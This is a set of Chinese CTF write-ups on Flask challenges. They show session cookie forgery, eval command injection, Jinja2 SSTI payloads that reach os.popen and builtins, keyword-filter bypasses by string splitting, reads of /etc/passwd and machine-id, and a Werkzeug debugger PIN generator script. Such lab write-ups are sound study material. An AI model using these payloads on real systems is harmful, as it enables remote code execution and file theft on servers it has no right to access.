目录
easy_flask -ctfshow
BUU SSTI -buu搜ssti
easy ssti -ctfshow
shrine -xctf
Flask PLUS -nssctf
[GYCTF2020]FlaskApp -buu
easy_flask
先注册登录,我的是123 123
learn里面
发现了key, 结合前面的要用admin账户,想到session伪造
登录抓包拿到session
用flask_session_cookie_manager3
解密
python3 flask_session_cookie_manager3.py decode -s "S3cr3tK3y" -c "eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6IjEyMyJ9.ZDJEHw.suk2oCQGzixZHMLlhE57hOv7IIY"
把username和role改为admin再加密
python3 flask_session_cookie_manager3.py encode -s "S3cr3tK3y" -t "{'loggedin': True, 'role': 'admin', 'username': 'admin'}"
发包改session
这里只有一个假的flag,但看源码发现
可能会有任意文件下载,因为是flask,尝试下载源码app.py
/download/?filename=app.py
最重要的是这个:
这段代码使用了Flask框架的装饰器@app.route来定义一个HTTP路由,指定当访问网站的/hello/路径时,会调用名为hello_world的函数来响应请求。
在函数中,通过request.args获取请求的参数,然后使用eval参数求值,将字符串转化为Python表达式执行,并作为响应结果返回。如果出现异常,则使用print输出异常信息,返回“hello”字符串作为响应结果。
这段代码实现了一个简单的动态计算器功能,用户通过在/hello/路径后面添加URL参数eval来输入一个Python表达式,返回计算结果。eval可以执行任意代码
所以
/hello/?eval=__import__("os").popen("cat /f*").read()
在hello下传eval参数,执行任意代码,调用os.popen函数读取了根目录下文件名以“f”起始的文件的内容,并将结果返回。
源码没有提供os库。需要自己引入一下os库
popen函数:
在Python中,os.popen
函数是一个可以通过执行命令并打开管道来与其进行通信的功能强大的工具。 它允许在 Python 中对命令行执行进程并获取返回的 stdin、stdout 和 stderr 等数据。
具体而言,os.popen(command[, mode[, bufsize]])
函数将在 shell 中运行指定的命令,在子进程中执行命令并建立一个管道,以便数据可以通过 Python 进程来处理。
- command:要的命令。
- mode:管道时要使用的模式,默认为“r”(读模式)。
- bufsize:指定要使用的缓冲大小。
例如,以下代码演示了如何使用 os.popen()
函数执行 Linux 命令 ls
:
import os
output = os.popen('ls').read()
print(output)
这里,我们导入了 python 的 os
模块,然后使用 os.popen()
函数来执行 ls
命令。最后,使用 read读取并打印
ls 命令的输出。
BUU SSTI
<class ‘warnings.catch_warnings’> 结合eval
?password={{[].__class__.__base__.__subclasses__()[177].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}
尝试了读取当前运行环境
cat /proc/self/environ
有个假的flag
读取前面app文件夹
ls /app
cat /app/server.py
easy ssti
看源码,提示有app.zip
下载后,是flask的源码app.py
简单分析下
该代码使用Flask框架建立了一个Web应用。其中定义URL路由,使用render_template()和render_template_string()函数渲染模板hello.html和,并通过URL参数name传递变量。第一个路由/hello/不需要传递参数,直接返回模板。第二个路由/helloname>需要传递参数name,如果name中包含字符'ge',直接通过render_template_string()渲染模板,否则如果name中不包含字符'f',也通过render_template_string()渲染模板,否则返回字符串'Nonononon'。
所以,我们要构造ssti
一般步骤:
1、看当前类所有的子类
''.__class__.__bases__[0].__subclasses__()
''.__class__.__base__.__subclasses__()
__class__: 返回当前类(有字符串类,元组类,字典组等等)
所有的子类都有一个共同的父类object,如果没指定继承,默认父类是object
__mor__: 返回解析函数时,类的调用顺序,先调用str类,再调用object类,通过索引的方式__mor[1],就可返回object类。
__base__: 返回当前父类(以字符串的形式)或者__bases__以元组的形式返回所有父类(元组可以通过索引访问)
__subclass__(): 返回当前类所有的子类,可通过索引的方式定位某一个子类。
2、找我们能用的类并索引
如:os._wrap_close
ctrl + f 检索一下
我们要知道它是第几个才行
可以数,也可以用脚本跑一下
import json
classes="""
#所有类
"""
num=0
alllist=[]
result=""
for i in classes:
if i==">":
result+=i
alllist.append(result)
result=""
elif i=="\n" or i==",":
continue
else:
result+=i
#寻找要找的类,并返回其索引
for k,v in enumerate(alllist):
if "#要找的类" in v:
print(str(k)+"--->"+v)
132
{{''.__class__.__bases__[0].__subclasses__()[132]}}
使用os下的popen
{{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']("cat /flag")}}
不能直接这样写
{{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen'](request.args.get("a")).read()}}ge?a=cat /f*
__init__(初始化方法),__globals__(访问全局变量,字典),通过popen,以及read方法来进行系统命令执行
shrine
https://adworld.xctf.org.cn/challenges/list
看源码
app.config['FLAG'] = os.environ.pop('FLAG')
注册了一个名为FLAG的config,猜测这就是flag,如果没有过滤可以直接{ {config}}即可查看所有app.config内容,但是这题设了黑名单['config','self']并且过滤了括号
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
上面这行代码把黑名单的东西遍历并设为空
如果没有过滤的话,我们可以用config或{{self.__dict__}}来查看,但是本题过滤了,所以我们需要利用python对象之间的引用关系来调用被禁用的函数对象。
这里有两个函数包含了current_app全局变量,url_for和get_flashed_messages,为什么要找current_app,因为current_app代表了当前项目的app,我们要找的就是当前app下的config
get_flashed_messages
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
payload:
url_for.__globals_['current_app'].config 获取当前选定的app下所有配置
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
Flask PLUS
过滤
先试试发想说你是hacker,想到有过滤,用ssti fuzz一下
简单的关键字过滤,直接用字符拼接绕过
{{''['__'+'cla'+'ss'+'__'].__base__['__'+'subcl'+'asses'+'__']()}}
调用<class 'warnings.catch_warnings'> 218
{{''['__'+'cla'+'ss'+'__'].__base__['__'+'subcl'+'asses'+'__']()[218].__init__.__globals__}}
发现过滤了__init__
用__enter__替代
{{()['__cla''ss__'].__bases__[0]['__subcl''asses__']()[218].__enter__.__globals__['__bui''ltins__']['ev''al']("__im""port__('o''s').po""pen('ls /').read()")}}
cat
[GYCTF2020]FlaskApp
长这样
既然是flask,就试试ssti,先找到注入点
加密{{7*7}},用加密后的去解密,发现
说明肯定有waf,试试读取一下源码app.py 用open函数
同样先找类,再利用,但这里发现,{{ [].__class__.__base__.__subclasses__()}}不能直接返回所有类,那么只能像下面这样找,会很麻烦
{{ [].__class__.__base__.__subclasses__()[1] }}
利用循环
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
flag,os,system,popen,import,eval,chr,request,
subprocess,commands,socket,hex,base64,*,?被过滤
使用字符串拼接进行绕过
import = imp + ort os =o+s
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
再打开
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
PIN码生成
PIN码需要六个信息,其中2和3易知
- flask所登录的用户名
- modname,一般是flask.app
- getattr(app, “name”, app.class.name)。一般为Flask
- flask库下app.py的绝对路径。这个可以由报错信息看出
- 当前网络的mac地址的十进制数。
- 机器的id。
1、flask用户名可以通过读取/etc/passwd来知道
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}
flaskweb
2、app.py的绝对路径,可从报错信息得到
/usr/local/lib/python3.7/site-packages/flask/app.py
3. mac地址的十进制数
首先要得到网卡 /sys/class/net/eth0/address
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
a2:cc:fa:80:a8:2c
-
将:去掉,a2ccfa80a82c
-
在python中进行转化,print(int('a2ccfa80a82c',16))
179001259763756
4. docker机器的id
引用大佬的解释:
对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。
对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/machine-id','r').read() }}{% endif %}{% endfor %}
生成PIN码
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb' # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'179001259763756', # str(uuid.getnode()), /sys/class/net/ens33/address
'1408f836b0ca514d796cbf8960e45fa1' # get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
终端shell